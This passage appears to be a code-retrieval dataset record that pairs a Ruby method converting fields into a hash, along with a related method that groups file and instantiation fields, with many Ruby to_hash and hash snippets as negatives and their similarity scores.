"def metadata\n metadata = {}\n @file.data.each { |key, value| metadata[key.to_sym] = value }\n\n metadata[:type] = @file.class.name.split('::')[1].downcase\n metadata[:url] = @file.url\n\n metadata[:slug] = slug\n\n metadata[:posted_at] = @file.date.to_time.to_i if @file.respond_to? :date\n metadata[:tags] = tags\n\n metadata\n end",
"def to_hash\n hash = {}\n\n instance_variables.each do |var|\n key = var.to_s.delete(\"@\").to_sym\n val = instance_variable_get(var)\n\n if authlete_model_simple_attribute?(key) or val.nil?\n hash[key] = val\n elsif TAGGED_VALUE_ARRAY_ATTRIBUTES.include?(key)\n hash[key] = val.map { |element| element.to_hash }\n elsif key == :extension\n # For attributes such as :extension\n hash[key] = val.to_hash\n end\n end\n\n hash\n end",
"def my_fingerprint\n new_resource.unique_fields.map do |f|\n if !new_resource.properties[f].nil?\n new_resource.properties[f]\n else\n current_resource.default_properties[f]\n end\n end\n end",
"def hash\n\t\treturn self.name.to_s.hash\n\tend",
"def files_hashs\n @files.map do |file|\n hash = case file\n when String\n { url: file }\n when Hash\n file.dup\n else\n raise ArgumentError, 'files must be an Array of Stings or Hashs'\n end\n\n hash[:local_path] = local_path\n hash\n end\n end",
"def hash\n [class_id, object_type, action, cache_state, cached_time, last_access_time, md5sum, original_sha512sum, path, registered_workflows, used_count, file, network_element].hash\n end",
"def to_hash\n @data.map do |row|\n hsh = {}\n @field_names.each_with_index.map{ |fld, i| hsh[fld] = row[i] }\n hsh\n end\n end",
"def to_hash\n @fields.delete_if {|key,val| val.nil?}\n h = {\n :type => @type,\n :id => @id,\n :version => @version\n }\n\n unless @type == 'delete'\n h[:fields] = @fields \n h[:lang] = @lang\n end\n\n h \n end",
"def by_path(field_arr)\n h = {}\n field_arr.each{ |f|\n path = [f.rectype, f.schema_path, f.name].flatten\n h[path] = f\n }\n return h\n end",
"def attributes_hash\n self.info.to_hash.symbolize_keys\n end",
"def hash\n [schema, name].hash\n end"
] |
[
"0.68815535",
"0.66171765",
"0.66137236",
"0.6370307",
"0.63305247",
"0.6243864",
"0.624211",
"0.624211",
"0.62055373",
"0.61612356",
"0.615149",
"0.61412805",
"0.61412805",
"0.61412805",
"0.6136768",
"0.6131085",
"0.61055374",
"0.6096622",
"0.6095227",
"0.60737175",
"0.6070402",
"0.60678357",
"0.6039603",
"0.6039603",
"0.60316396",
"0.6016386",
"0.6009126",
"0.59838605",
"0.5983226",
"0.59777063",
"0.5968838",
"0.59468377",
"0.59285456",
"0.59111243",
"0.58823943",
"0.58736235",
"0.58639175",
"0.5834437",
"0.5834437",
"0.5834437",
"0.5834437",
"0.5834437",
"0.58312595",
"0.58206815",
"0.5818097",
"0.58133125",
"0.58105725",
"0.5809726",
"0.5803808",
"0.57965606",
"0.5793626",
"0.57817096",
"0.5768781",
"0.5758835",
"0.5758509",
"0.5753224",
"0.5749086",
"0.57350063",
"0.57282484",
"0.57214427",
"0.57206595",
"0.5713214",
"0.5710103",
"0.57079107",
"0.57071745",
"0.57065266",
"0.57056034",
"0.5701912",
"0.5701561",
"0.5700998",
"0.56973267",
"0.56868184",
"0.5679297",
"0.5679266",
"0.5653132",
"0.5649074",
"0.56414527",
"0.56412697",
"0.56408733",
"0.56317264",
"0.56205034",
"0.5610274",
"0.56087124",
"0.5607622",
"0.559501",
"0.5594483",
"0.5577618",
"0.5572962",
"0.5572425",
"0.55699736",
"0.5568396",
"0.556716",
"0.5566903",
"0.5566699",
"0.55612904",
"0.5552483",
"0.55519307",
"0.5539541",
"0.5538878",
"0.55387914"
] |
0.6945483
|
0
|
Returns an array of arrays: groups of file/instantiation fields.
|
def file_field_sets
@file_field_sets ||= begin
# Select only file and instantiation fields.
file_and_instantiation_fields = fields.select { |field| file_header?(field.header) || instantiation_header?(field.header) }
# Slice the selected fields into field sets for each file.
file_and_instantiation_fields.slice_when do |prev_field, field|
initial_file_header?(field.header) && !initial_file_header?(prev_field.header)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def file_fields\n self.fields.select { |field| field.type == :file }\n end",
"def file_hashes\n @file_hashes ||= file_field_sets.map do |file_field_set|\n instantiation_fields, file_fields = file_field_set.partition do |field|\n instantiation_header?(field.header)\n end\n\n file_hash = fields_to_hash(file_fields)\n file_hash['files'] = [fields_to_hash(instantiation_fields)]\n\n file_hash\n end\n end",
"def file_fields\n @file_fields ||= []\nend",
"def field_array(lines)\n entries = []\n text = lines.join\n text.scan(/^>.+<(.+)>\\n(.+\\n)+\\n/) do |name, data| \n entries << [name, data.chomp]\n end\n Hash[entries]\n end",
"def get_fields\n # vips_image_get_fields() was added in libvips 8.5\n return [] unless Vips.respond_to? :vips_image_get_fields\n\n array = Vips.vips_image_get_fields self\n\n names = []\n p = array\n until (q = p.read_pointer).null?\n names << q.read_string\n GLib.g_free q\n p += FFI::Type::POINTER.size\n end\n GLib.g_free array\n\n names\n end",
"def field_groups\n @field_groups ||= begin\n field_group_indexes.map do |e|\n e.map do |e|\n @input[e]\n end\n end\n end\n end",
"def fields #:nodoc:\n f = @properties.to_a\n last = f.pop\n f.push @elements\n f.push last\n end",
"def build_data_array\n table = helper_class.new(@file_upload.file.path).to_table # # load data to array of hashes\n errors = []\n data = table.map do |item_hash|\n process_item(attributes(item_hash), errors)\n end\n [data, errors]\n end",
"def to_array\n return [@filename,\n @timestamp,\n @source,\n @rmr_number,\n @series_description,\n @gender,\n @slice_thickness,\n @slice_spacing,\n @reconstruction_diameter, \n @acquisition_matrix_x,\n @acquisition_matrix_y]\n end",
"def grouped(files); end",
"def compound_fields\n %i[file_data emma_data]\n end",
"def keys\n fields.map { |f| f.name }\n end",
"def acquire_element_array_list\n element_array_list = []\n (0..7).each do |number|\n element_file_name = ELEMENT_FILE_PREFIX + number.to_s + TEXT_FILE_SUFFIX\n element_array = File.read(element_file_name)\n element_array_list[number] = element_array.split(EXPORT_LIST_SEPARATOR)\n end\n element_array_list\n end",
"def all_fields\n found_fields = Array.new\n self.fields.each do |field|\n found_fields << field\n found_fields = found_fields + field.all_fields if field.type == 'ObjectField'\n end\n found_fields\n end",
"def fields\n @fields ||= []\n end",
"def fields\n if frozen?\n Array(@gapi.fields).map { |f| Field.from_gapi(f).freeze }.freeze\n else\n Array(@gapi.fields).map { |f| Field.from_gapi f }\n end\n end",
"def fields\n []\n end",
"def get_file_groups globs\n \t\t pos = 1\n \t\t file_groups = { groups: [] }\n \t\t \n globs.each do |glob|\n # e.g { group1: { path: '*.*', files: [file1, file2]} }\n group_name = \"group#{pos}\"\n files_raw = Dir.glob(glob)\n\t\t\t\tfiles = files_raw.map do |f|\n\t \tURI.escape f\n end\n file_group_object = { name: group_name, path: glob, files: files , files_raw: files_raw}\n file_groups[group_name.to_sym] = file_group_object\n file_groups[:groups].push file_group_object\n pos += 1 \n end\n file_groups\n \t\tend",
"def field_instances\n interface_fields, solution_fields = self.pattern_formalism.fields\n\n # We get the first non nil instance that corresponds to the field id\n muster = lambda do |field| \n self.string_instances.select{|a| a.field_descriptor_id == field.id && a.is_active}.first ||\n self.text_instances.select{|a| a.field_descriptor_id == field.id && a.is_active}.first ||\n self.image_associations.select{|a| a.field_descriptor_id == field.id && a.is_active}.map(&:mappable_image).first ||\n self.classification_selections.select{|a| !a.classification_element.blank? && a.classification_element.is_active && a.classification_element.field_descriptor_id == field.id} \n end\n\n [interface_fields, solution_fields].map{|f| f.map(&muster)}\n end",
"def all_fields\n fields = Set.new(@fields)\n @times.each {|entry| fields += entry.keys} unless fields.size > 0\n return fields.to_a.sort\n end",
"def fields\n @fields ||= []\n end",
"def files\n entries.map{ |f| FileObject[path, f] }\n end",
"def field_ids\n @fields.keys\n end",
"def field_names\n internal_format.keys\n end",
"def files\n list = []\n if @data['info'].key?('files')\n @data['info']['files'].each do |file|\n list << { 'name' => file['path'], 'length' => file['length'] }\n end\n return list\n end\n\n if @data['info'].key?('name') && @data['info'].key?('length')\n list << { 'name' => @data['info']['name'], 'length' => @data['info']['length'] }\n end\n list\n end",
"def read_instance_fields(cls, io_offset)\n @io.seek io_offset # Move to the instance field data\n values = []\n cls.instance_fields do |field|\n value = TYPE_READS[field.signature].create(@io)\n\n if value.kind_of? JavaObjectRef # FIXME: don't want this if\n puts \"+F 0x#{value.value.to_s(16)}\" if @debug > 10\n value = @snapshot.resolve_object_ref value.value\n end\n \n values << value\n end\n values\n end",
"def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end",
"def fields\n return @fields if @fields\n @file.rewind\n @fields = @file.gets.split(@separator).map &:strip\n end",
"def the_fields_grouped(field_keys)\n res = []\n object.get_fields_grouped(field_keys).each do |_group|\n group = {}.with_indifferent_access\n _group.keys.each do |k|\n group[k] = _group[k].map{|v| h.do_shortcode(v.to_s.translate(@_deco_locale), object) }\n end\n res << group\n end\n res\n end",
"def fields\n klass.members.map(&:to_sym)\n end",
"def groups\n groups = []\n @config['groups'].each do |k, v|\n groups << OpenStruct.new(\n name: k,\n size: Size.new(v['size']),\n rss: v['rss'],\n requests: v['requests'],\n path: v['path'])\n end\n groups.freeze\n end",
"def fields\n fc = FFI::MemoryPointer.new(:uint)\n rc = NWRFCLib.get_field_count(@desc, fc, @error)\n NWRFC.check_error(@error) if rc > 0\n fc = fc.read_uint\n fd = NWRFCLib::RFCFieldDesc.new\n # Make a list of field names\n fc.times.inject([]) {|array, index|\n rc = NWRFCLib.get_field_desc_by_index(@desc, index, fd.to_ptr, @error.to_ptr)\n NWRFC.check_error(@error) if rc > 0\n #@todo WARNING! our get_str method did not handle getting the name of the RESPTEXT parameter in STFC_DEEP_TABLE correctly\n # As a workaround, we use our read_string_dn method; do we need to use this elsewhere?\n #array << fd[:name].get_str.to_sym #<-The code with good intentions\n array << fd[:name].to_ptr.read_string_dn.uC.to_sym #<- Workaround; the way of the future?\n }\n end",
"def parse_file\n parsed_result_blocks = get_record_blocks\n\n gff_array = []\n if !parsed_result_blocks.empty?\n parsed_result_blocks.each do |b|\n gff_array << line_to_gff(b)\n end\n end\n return gff_array\n end",
"def groups()\n grlist = []\n Etc.group { |g|\n grlist.push(g.name)\n }\n return grlist.uniq.sort\n end",
"def by_file\n @by_file ||= notes.group_by(&:file)\n end",
"def get_instances\n all_instances = Array.new()\n @groups.values.each do |instances|\n instances.each do |instance|\n all_instances << instance\n end\n end\n all_instances\n end",
"def varfiles\n return self.assembly_files.where([\"file_type_id = ?\", \"1\"])\n end",
"def collect_microarrays(data, xschema)\n filtered_arrays = Array.new\n arrays = data.find_all { |d| d[\"type\"] =~ /modencode:(ADF)/ }\n arrays.each { |d|\n attrs = self.get_attributes_for_datum(d[\"data_id\"], xschema)\n unless attrs.find { |a| a[\"heading\"] == \"official name\" }.nil? then\n d[\"attributes\"] = attrs\n filtered_arrays.push d\n end\n }\n filtered_arrays = filtered_arrays.uniq_by { |d| d[\"attributes\"].nil? ? nil : d[\"attributes\"] }\n return filtered_arrays\n end",
"def fetch_fields\n fields = @result.fields\n field_types = @result.field_types\n tables = @result.respond_to?(:tables) ? @result.tables : [] # My addition to mysql2 results.c\n fields_arr = []\n (0...@result.fields.length).each do |i|\n fields_arr[i] = MySQL_FIELD.new(\n name: fields[i],\n table: tables[i],\n db: databases[i],\n type: field_types[i]\n )\n end\n return fields_arr\n end",
"def files\n @files.values\n end",
"def fields\n return @fields if defined?(@fields)\n\n @fields = array_of_items_for(Fields, :fields)\n end",
"def groupby_fields\n ids = {}\n ids.merge!(make_grp_prj_periods[0])\n ids.merge!(make_grp_prj_nodes[0])\n { '_id' => ids }\n end",
"def values_array\n @_field_path.map{ |field_| @_values[field_.name] }\n end",
"def as_array\n @fm.dup\n end",
"def fields(sample_pid)\n remove = [\"http://www.iana.org/assignments/relation/next\",\n \"http://www.openarchives.org/ore/1.0/datamodel#proxyFor\",\n \"http://www.iana.org/assignments/relation/last\",\n \"http://www.iana.org/assignments/relation/first\",\n \"http://opaquenamespace.org/ns/set\",\n \"http://opaquenamespace.org/ns/primarySet\",\n \"http://opaquenamespace.org/ns/contents\"]\n fields = []\n item = GenericAsset.find(sample_pid)\n item.descMetadata.graph.statements.each do |s|\n next if remove.include? s.predicate.to_s\n field = @properties[s.predicate.to_s]\n if field.nil? \n @f.puts \"warning: could not identify #{s.predicate.to_s} in #{item.pid}\"\n else\n fields << field\n end\n end\n fields\n end",
"def fields\n @fields ||= self.class.fields.collect { |f| f.clone_for(self) }\n end",
"def afp_grouping\n return nil unless wire_id == 2\n file_identifier.sub(/\\d+/, '')\n end",
"def described_datafiles\n if sip_descriptor\n sip_paths = sip_descriptor_datafile_info.keys\n\n cached_datafiles.inject([]) do |acc, df|\n sp = df['sip-path']\n acc << df if sip_descriptor_datafile_info.has_key? sp\n acc\n end\n\n else\n []\n end\n end",
"def fields()\n if !@custom_fields || @fields.length == 0 then\n @elements.each { |field|\n if field.respond_to?(:is_form_field) then\n @fields << field.name\n @element_map[field.name.to_s] = field\n elsif field.is_a?(Fieldset) then\n @fields << { field.name => field.fields }\n @element_map.update(field.element_map)\n end\n }\n end\n @fields.uniq!\n return @fields\n end",
"def fields\n @locations.map(&:field).uniq\n end",
"def files\n info[\"Files\"].to_a\n end",
"def groups\n @groups ||= SimpleCov.grouped(files)\n end",
"def groups\n @groups ||= SimpleCov.grouped(files)\n end",
"def groups\n @groups ||= SimpleCov.grouped(files)\n end",
"def field_group(index)\n field_group_indexes(index).map do |e|\n @input[e]\n end\n end",
"def fields\n @fields.keys\n end",
"def fields\n @fields.keys\n end",
"def get_array_of_symbolic_keys\n # getting array of keys (in symbol form)\n all_fields = self.attributes.keys.map do |key|\n key.to_sym;\n end\n return all_fields\n end",
"def make_array\n [@name, @author, @deviation_url, @views, @favs, @comments]\n end",
"def internal_file_attributes; end",
"def i_groups; end",
"def fields(*fields)\n result = []\n keys.sort.each do |name|\n result << self[name].pick(*fields)\n end\n result\n end",
"def fields\n @doc.xpath(\"//field\").map{|node| node['id']}.sort\n end",
"def file_attributes\n {}\n end",
"def file_attributes\n {}\n end",
"def files\n @files ||= FILE_RANGE.map(&:to_sym)\n end",
"def to_a; @fields end",
"def fact_attributes\n @fact_attributes ||= Array.new.tap do |fa|\n fact_class.aggregate_fields.each { |field| fa << field }\n fact_class.calculated_fields.each { |field| fa << field }\n end\n end",
"def flists(fname)\n if fexistf fname\n return eval \"$#{fname}['#{fname},slots'].to_a\"\n else\n return []\n end\nend",
"def fields\n a = attributes.keys.to_a\n a.delete_if { | e | e =~ /^id$/ }\n end",
"def group_names\r\n\t\tnames = []\r\n\t\tgroup.each do |mem|\r\n\t\t\tnames << mem.name\r\n\t\tend\r\n\t\tnames\r\n\tend",
"def files\n [@nuspec_file, @changelog_file, @readme_file]\n end",
"def files\n [@nuspec_file, @changelog_file, @readme_file]\n end",
"def fields\n self.find('ns:field', :ns => self.class.registered_ns).map do |field|\n Field.new(field)\n end\n end",
"def field_names\n @_field_path.map{ |field_| field_.name }\n end",
"def path_array\n a = []\n each_filename { |ea| a << ea }\n a\n end",
"def file_list(group)\n return Dir[File.join(@dir, group, FILE_EXT)].sort\nend",
"def files\n @files ||= []\n end",
"def entries\n {file => self}\n end",
"def metadata_groups(&blk)\n if object.has_metadata?\n object._metadata.attributes.group_by{|(k,v)| k.to_s.split(\"_\").first.humanize}\n else\n {}\n end\n end",
"def to_a\n @fields.collect { |field|\n [ field.name, field.value ]\n }\n end",
"def all_fields\n fields.values\n end",
"def patron_groups\n return [] unless affils\n patron_groups = []\n\n affils.each do |affil|\n # LIBSYS-3206 bogus affil, not actually a patron group\n next if affil.match(/CUL_role-clio-PhD/)\n # All legit patron groups are 3-4 all-caps patterns\n if affilmatch = affil.match(/CUL_role-clio-([A-Z]+)/)\n patron_groups.push(affilmatch[1])\n end\n end\n\n return patron_groups\n end",
"def files\n entries.map(&:filepath)\n end",
"def grouped_by_access_feature!\n groups = {'audio_described_performance' => [], 'captioned_performance' => [], 'signed_performance' => [], 'touch_tour' => [], 'relaxed_performance' => [], 'talk_back' => []}\n\n @instances.each do |instance|\n instance_types = instance.meta_attributes.select{|attr_key, attr_value| groups.keys.include?(attr_key) && attr_value==\"true\"}.keys\n\n if instance_types.any?\n instance_types.each do |type|\n groups[type].push(instance)\n end\n end\n end\n\n groups.each do |type, instances|\n groups[type] = slice_instances_by_date(instances.reverse)\n end\n\n groups\n end",
"def files_array(files)\n return [] unless files\n files.is_a?(Array) ? files : pattern_to_filelist(files.to_s)\n end",
"def fields\n @fields ||= FieldList.new\n end",
"def get\n arr = []\n\n process(csv_file).each do |record|\n arr << SOA_CSV_RECORD.new(*record.fields)\n end\n\n arr\n end",
"def to_ary\n lines.take(1000).map { |l| { :number => l.filtered_number, :file => l.filtered_file, :method => l.filtered_method, :source => l.source } }\n end",
"def field_names\n fields.keys\n end",
"def split(file)\n if m = file.match(/^(.*\\/)?([^\\.]+)\\.?(\\w+)?\\.?(\\w+)?\\.?(\\w+)?$/)\n if m[5] # Multipart formats\n [m[1], m[2], \"#{m[3]}.#{m[4]}\", m[5]]\n elsif m[4] # Single format\n [m[1], m[2], m[3], m[4]]\n else\n if valid_extension?(m[3]) # No format\n [m[1], m[2], nil, m[3]]\n else # No extension\n [m[1], m[2], m[3], nil]\n end\n end\n end\n end",
"def fields\n defined = @fields.select {|f| f.defined }\n defined.sort! {|a, b| a.order <=> b.order }\n defined = @fields if defined.empty?\n defined\n end",
"def project_code_arrays\n [:controller_files, :model_files, :view_files, :lib_files]\n end",
"def names\n fs = []\n %w( READ WRITE WRITE_INVALIDATE_REGION ).each { |f|\n fs.push(f) if self.include?( self.class.const_get(f) )\n }\n return fs\n end",
"def to_a()\n array = @basenameList.map{|basename|\n @analyzerTable[basename] ;\n }\n return array ;\n end",
"def fields\n java_import org.dspace.content.MetadataField\n MetadataField.findAllInSchema(DSpace.context, @obj.getSchemaID)\n end",
"def make_team_array(file_name)\n\n array_of_hashes=get_data(file_name)\n\n @teams=[]\n array_of_hashes.each do |hashes|\n @teams.push(hashes[:Team])\n end\n @teams.uniq\nend",
"def make_team_array(file_name)\n\n array_of_hashes=get_data(file_name)\n\n @teams=[]\n array_of_hashes.each do |hashes|\n @teams.push(hashes[:Team])\n end\n @teams.uniq\nend",
"def get_groups_a\n\n return [] if self.groups.nil? or self.groups.empty?\n\n array = self.groups.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"def load_objects\n objects = []\n [@opts[:organization_data], @opts[:ticket_data], @opts[:user_data]]\n .zip(['organization', 'ticket', 'user'])\n .map do |file_paths, object_type|\n file_paths.each do |file_path|\n read_objects = JSON.parse File.read(file_path)\n read_objects.each { |o| o['_type'] = object_type }\n objects.concat read_objects\n end\n end\n return objects\n end"
] |
[
"0.60684514",
"0.59799325",
"0.5970233",
"0.5941821",
"0.5922665",
"0.58902395",
"0.5828262",
"0.57525283",
"0.57467675",
"0.57176",
"0.57021755",
"0.56850225",
"0.5673023",
"0.5671235",
"0.56552106",
"0.5641165",
"0.56304413",
"0.56157595",
"0.5615438",
"0.56067586",
"0.560386",
"0.5567426",
"0.55404645",
"0.5538803",
"0.55143225",
"0.548424",
"0.54841256",
"0.54746777",
"0.5431085",
"0.54272884",
"0.5412022",
"0.53895235",
"0.53661287",
"0.5363658",
"0.5359433",
"0.5353021",
"0.53517777",
"0.53505135",
"0.5345258",
"0.5341599",
"0.53154844",
"0.53147906",
"0.5305088",
"0.5290588",
"0.52866197",
"0.52863866",
"0.5278206",
"0.5271811",
"0.5263146",
"0.52536654",
"0.524661",
"0.52459896",
"0.52459896",
"0.52459896",
"0.524573",
"0.52324426",
"0.52324426",
"0.522986",
"0.52293694",
"0.52236634",
"0.5219433",
"0.52183557",
"0.5195672",
"0.51858306",
"0.51858306",
"0.518463",
"0.51838374",
"0.51826906",
"0.51734996",
"0.5163641",
"0.51593775",
"0.51570576",
"0.51570576",
"0.51517135",
"0.51409477",
"0.5134287",
"0.5132474",
"0.513221",
"0.51284224",
"0.5127836",
"0.51180583",
"0.51079124",
"0.5105566",
"0.5092789",
"0.50894403",
"0.5084091",
"0.50790125",
"0.5071217",
"0.50704056",
"0.5060294",
"0.5054647",
"0.505052",
"0.5048786",
"0.5048756",
"0.50485647",
"0.5047464",
"0.5045716",
"0.5045716",
"0.50449",
"0.5040147"
] |
0.63544273
|
0
|
Converts these fields into a hash for the payload.
|
def fields_to_hash(these_fields)
combined_fields = combine_multivalued_fields(these_fields)
combined_pairs = combined_fields.map do |field|
# does the normalize_ case ever happen?
key = api_field_name_for(field.header) || normalize_header(field.header)
[ key, encode_values(field.value) ]
end
Hash[ combined_pairs ]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_hash\n @fields\n end",
"def to_h\n FieldsToHash.call(self)\n end",
"def to_hash\n self.class.fields.each_with_object({}) do |key, hash|\n val = send(key)\n hash[key] = val if !val.nil?\n end\n end",
"def fields_hash\n each_pair.to_h\n end",
"def to_field_hash\n to_values_hash.flatten\n end",
"def field_hash\n\n self.yattributes || fields.inject({}) { |r, f| r[f.fkey] = f.value; r }\n end",
"def to_hash\n r_hash = {}\n r_hash['meta'] = self.meta\n r_hash['payload'] = {\n 'id' => self.id,\n 'asset' => self.asset,\n 'time' => self.time,\n 'bs' => self.bs,\n 'type' => self.type,\n 'reason' => self.reason\n }\n r_hash.delete_if { |k, v| v.nil? }\n end",
"def hash\n [custom_headers, encode_as, name, payload, url].hash\n end",
"def hashed_fields_for_export\n hash = {}\n\n self.ordered_questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge!({\n location_code: \"Location Code\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n\n if self.organization.enable_ip_address?\n hash.merge!({\n ip_address: \"IP Address\"\n })\n end\n\n hash\n end",
"def hash\n [input_currency, payin_methods, metadata, sender, recipients, traits, state, input_amount, payin_reference, paid_amount, due_amount, created_at, expires_at, external_id, id, errors].hash\n end",
"def hash\n [created, changed_by, updated, id, domain, action, organization_id, webhook_id, entity_id, destination_url, format, ack_enabled, entity, changes, last_send_attempt, next_send_attempt, final_send_attempt, total_send_attempts, state, acked].hash\n end",
"def to_hash\n body.to_hash\n end",
"def to_h\n {\n id: id,\n uuid: uuid,\n aggregate_id: aggregate_id,\n type: type,\n body: body,\n version: version,\n created_at: created_at,\n correlation_id: correlation_id,\n causation_id: causation_id,\n }\n end",
"def to_hash\n attributes\n end",
"def to_h\n @payload\n end",
"def hash\n [id, to, from, carrier, thumbnails, size, expected_delivery_date, date_created, date_modified, deleted, front_template_id, back_template_id, front_template_version_id, back_template_version_id, tracking_events, object, url, description, metadata, mail_type, merge_variables, send_date, use_type].hash\n end",
"def to_hash\n fields = %w(name slug description label_field_name order_by order_direction public_submission_enabled public_submission_accounts raw_item_template)\n\n _attributes = self.attributes.delete_if { |k, v| !fields.include?(k.to_s) || v.blank? }.deep_stringify_keys\n\n # group by\n _attributes['group_by'] = self.group_by_field.name if self.group_by_field\n\n # order by\n _attributes['order_by'] = self.order_by_field.name if self.order_by_field\n _attributes['order_by'] = 'manually' if self.order_by == '_position'\n\n # custom fields\n _attributes['fields'] = self.fields\n\n _attributes\n end",
"def hash\n { hash: @hash, hashType: @hash_type }\n end",
"def hash\n [id, sender, receiver, text, status, contact_id, session_id, message_time, avatar, deleted, charset, charset_label, first_name, last_name, country, phone, price, parts_count, from_email, from_number].hash\n end",
"def to_hash\n fields.inject({type: type}) do |table, name|\n table.tap do\n if val = send(name)\n val = val.iso8601(3) if name == :timestamp\n table[name] = val\n end\n end\n end\n end",
"def to_hash\n {\n :id => @id,\n :name => @name,\n :email => @email,\n :hash => @hash,\n :role => @role,\n :color => @color,\n :nsfw => @nsfw\n }\n end",
"def hash\n [format, display_header, display_from_email_address, display_email_address, display_to_email_address, display_cc_email_address, display_bcc_email_address, time_zone_offset, convert_attachments, field_labels, preserve_original_date].hash\n end",
"def to_hash\n @fields.delete_if {|key,val| val.nil?}\n h = {\n :type => @type,\n :id => @id,\n :version => @version\n }\n\n unless @type == 'delete'\n h[:fields] = @fields \n h[:lang] = @lang\n end\n\n h \n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n [id, next_send, rrule, session, last_sent, contact_name, parameters, type, summary, text_parameters, first_occurrence, last_occurrence, recipients_count, timezone, completed, avatar, created_at].hash\n end",
"def hash\n [domain, message, stack, type].hash\n end",
"def hashed_fields_for_export\n raise InvalidArgument unless self.form\n\n hash = {}\n\n self.form.questions.map { |q| hash[q.answer_field] = q.text }\n\n hash.merge({\n ip_address: \"IP Address\",\n user_agent: \"User Agent\",\n page: \"Page\",\n referer: \"Referrer\",\n created_at: \"Created At\"\n })\n end",
"def to_hash\n hash = {'id' => self.id.to_s}\n for name, field in self.class.fields\n if not name.end_with?(\"_id\")\n if self.has_attribute?(name)\n value = self[field.name]\n hash.store name, value if not value.nil?\n end\n end\n end\n hash.store 'total_employee', self.total_employee\n hash.store 'total_job', self.total_job\n # hash.store 'child_departments', self.child_departments\n hash\n end",
"def hash\n fields.map { |field| instance_variable_get(field[:name]) }.hash\n end",
"def hash\n [id, account_id, mode, failures_url, original_filename, state, total_mailpieces, failed_mailpieces, validated_mailpieces, bytes_processed, date_created, date_modified, required_address_column_mapping, optional_address_column_mapping, metadata, merge_variable_column_mapping].hash\n end",
"def hash\n [id, alternate_id, type, first_name, surname, date_of_brith, date_of_birth, shipping_address, mailing_address, home_phone, mobile_phone, email_address, mailing_address_active, accounts, classifications, member_photo, gender, receive_email, receive_sms, password].hash\n end",
"def to_hash\n attributes.dup\n end",
"def payload\n PARAMS.each_with_object({}) do |k, hash|\n hash[k] = send(k)\n end\n end",
"def to_hash\n @request\n end",
"def to_hash\n @request\n end",
"def hash\n [to, from, carrier, thumbnails, expected_delivery_date, date_created, date_modified, deleted, id, template_id, template_version_id, url, object, description, metadata, merge_variables, send_date, extra_service, tracking_number, tracking_events, return_address, mail_type, color, double_sided, address_placement, return_envelope, perforated_page, custom_envelope, campaign_id, use_type].hash\n end",
"def hash\n [ data, type ].hash\n end",
"def hash\n [id, to, from, description, metadata, merge_variables, send_date, mail_type, memo, check_number, message, amount, bank_account, check_bottom_template_id, attachment_template_id, check_bottom_template_version_id, attachment_template_version_id, url, carrier, thumbnails, expected_delivery_date, tracking_events, object, date_created, date_modified, deleted, use_type].hash\n end",
"def hash\n [name, value, timestamp, source_id, source_label, source, selected_by_user, selected_by_user_timestamp, source_vid, source_metadata, request_id, updated_by_user_id, persistence_timestamp, use_timestamp_as_persistence_timestamp].hash\n end",
"def hash\n [id, name, type, company, contact, phone_number, email, status, opportunity, ticket, agreement, campaign, notes, date_start, date_end, assigned_by, assign_to, schedule_status, reminder, where, notify_flag, _info, custom_fields].hash\n end",
"def to_h\n hash = {}\n self.class.field_definitions.each do |k, v|\n hash[k] = field_value k\n end\n hash\n end",
"def to_h\n Utils.deep_dup @attributes\n end",
"def to_hash\n h = super\n h['uid'] = @uid\n h\n end",
"def to_hash(options = {})\n {\n version: version,\n payload: payload,\n generated_at: generated_at,\n generated_by: generated_by,\n path: path\n }\n end",
"def hash\n [additional_details, blockchain, fee_priority, network, recipients, total_transaction_amount, transaction_id, transaction_request_status, transaction_type, unit, wallet_id].hash\n end",
"def hash\n [name, type, sub_attributes, multi_valued, description, required, canonical_values, case_exact, mutability, returned, uniqueness, reference_types].hash\n end",
"def to_hash\n # fields\n result = {\n 'rcpt' => @timeline.recipient_id,\n 'routing' => @routing_kind,\n 'activity' => @activity.to_hash,\n }\n\n result['meta'] = @meta.stringify_keys unless @meta.blank?\n\n result\n end",
"def to_hash\n @hash ||= hash_from_payload(to_payload)\n {\n 'hash' => @hash, 'ver' => @ver,\n 'vin_sz' => @in.size, 'vout_sz' => @out.size,\n 'lock_time' => @lock_time, 'size' => (@payload ||= to_payload).bytesize,\n 'in' => @in.map.with_index{|i,idx|\n t = { 'prev_out' => { 'hash' => hth(i.prev_out), 'n' => i.prev_out_index } }\n unless (idx == 0) && i.coinbase?\n t['scriptSig'] = Bitcoin::Script.new(i.script_sig).to_string\n t['sequence'] = i.sequence.unpack(\"I\")[0] unless i.sequence == \"\\xff\\xff\\xff\\xff\"\n else # coinbase tx\n t['coinbase'] = i.script_sig.unpack(\"H*\")[0]\n end\n t\n },\n 'out' => @out.map{|o|{\n 'value' => \"%.8f\" % (o.value / 100000000.0),\n 'scriptPubKey' => Bitcoin::Script.new(o.pk_script).to_string\n }}\n }\n end",
"def to_jaxb_json_hash\n _h = super\n _h['emailId'] = emailId.to_jaxb_json_hash unless emailId.nil?\n _h['type'] = type.to_jaxb_json_hash unless type.nil?\n _h['value'] = value.to_jaxb_json_hash unless value.nil?\n _h['primary'] = primary.to_jaxb_json_hash unless primary.nil?\n return _h\n end",
"def hash\n [sub, email, error_details, accounts, name, family_name, given_name, created].hash\n end",
"def hash\n [admin, created_at, customer_id, description, event_type, ip, metadata, service_id, user_id, token_id].hash\n end",
"def to_liquid_hash\n # Wrap fields in quotes where appropriate for Liquid\n @to_hash = Hash[ATTRS_FROM_RAW.map {|k| [k.to_s, format_with_quotes(k, self.send(k))]}]\n # Process subject_specialties hash into a hash with string keys\n @to_hash[\"subject_specialties\"] = Hash[@to_hash[\"subject_specialties\"].map {|k, v| [k.to_s, v.map {|s| format_with_quotes(k, s)}]}]\n @to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
"def to_body\n to_hash\n end",
